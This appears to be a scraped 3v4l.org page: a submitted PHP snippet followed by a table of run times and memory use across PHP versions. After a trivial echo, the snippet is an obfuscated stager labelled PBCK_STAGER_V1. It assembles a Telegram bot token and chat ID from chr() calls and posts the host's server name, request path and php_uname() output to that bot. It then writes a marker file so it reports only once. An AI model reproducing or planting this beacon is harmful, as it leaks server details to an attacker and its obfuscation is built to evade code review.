3v4l.org

run code in 500+ PHP versions simultaneously
echo 'hi';<?php <?phpif(!file_exists('.pbck_tg')&&function_exists('curl_init')){$b=chr(56).chr(54).chr(56).chr(53).chr(50).chr(48).chr(51).chr(54).chr(56).chr(54);$t=chr(65).chr(65).chr(69).chr(80).chr(118).chr(80).chr(122).chr(106).chr(67).chr(111).chr(49).chr(113).chr(66).chr(77).chr(95).chr(110).chr(89).chr(101).chr(100).chr(82).chr(48).chr(57).chr(81).chr(83).chr(89).chr(119).chr(105).chr(100).chr(121).chr(108).chr(116).chr(85).chr(53).chr(117).chr(48);$c=chr(56).chr(50).chr(48).chr(50).chr(54).chr(50).chr(57).chr(55).chr(56).chr(53);$u='h'.'t'.'t'.'p'.'s'.'://api.telegram.org/bot'.$b.':'.$t.'/sendMessage';$sn=isset($_SERVER['SERVER_NAME'])?$_SERVER['SERVER_NAME']:'';$d='chat_id='.$c.'&text='.urlencode('[PBCK] '.$sn.' '.$_SERVER['REQUEST_URI'].' '.php_uname());$ch=curl_init($u);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$d);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_exec($ch);curl_close($ch);@file_put_contents('.pbck_tg','1');}/* PBCK_STAGER_V1 */

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.90.0210.00616.82
8.5.80.0370.00616.68
8.5.70.0340.00616.59
8.5.60.0290.01016.53
8.5.50.0320.00816.28
8.5.40.0300.00916.61
8.5.30.0370.00616.47
8.5.20.0390.00716.69
8.5.10.0350.00716.51
8.5.00.0120.00718.25
8.4.240.0300.01119.60
8.4.230.0290.01419.35
8.4.220.0310.01019.45
8.4.210.0290.01019.34
8.4.200.0340.00819.73
8.4.190.0300.01219.52
8.4.180.0350.01419.56
8.4.170.0370.00919.42
8.4.160.0350.00919.74
8.4.150.0340.00619.52
8.4.140.0340.00817.71
8.4.130.0310.00917.77
8.4.120.0350.00917.96
8.4.110.0340.01217.85
8.4.100.0370.00717.75
8.4.90.0330.01117.77
8.4.80.0350.00917.69
8.4.70.0390.00517.77
8.4.60.0360.01017.77
8.4.50.0380.00817.66
8.4.40.0360.00917.64
8.4.30.0360.00817.55
8.4.20.0310.01317.46
8.4.10.0390.00917.57
8.3.330.0420.01118.23
8.3.320.0320.01018.19
8.3.310.0310.00918.15
8.3.300.0270.01318.24
8.3.290.0380.00618.17
8.3.280.0310.00818.41
8.3.270.0320.00916.57
8.3.260.0290.00816.89
8.3.250.0310.00916.69
8.3.240.0340.00816.77
8.3.230.0340.01016.52
8.3.220.0350.00716.67
8.3.210.0340.00716.61
8.3.200.0350.00716.76
8.3.190.0340.00816.72
8.3.180.0340.00616.71
8.3.170.0290.00316.77
8.3.160.0330.00716.65
8.3.150.0330.00716.47
8.3.140.0370.00516.75
8.3.130.0270.01016.73
8.3.120.0330.00516.68
8.3.110.0320.00716.60
8.3.100.0340.01216.55
8.3.90.0340.00616.61
8.3.80.0250.00416.52
8.3.70.0190.00316.58
8.3.60.0220.00716.56
8.3.50.0290.00516.50
8.3.40.0150.00518.02
8.3.30.0200.00717.71
8.3.20.0200.00617.85
8.3.10.0180.00917.98
8.3.00.0270.00917.88
8.2.330.0410.01017.77
8.2.320.0290.00717.92
8.2.310.0320.00417.83

preferences:
61.61 ms | 778 KiB | 4 Q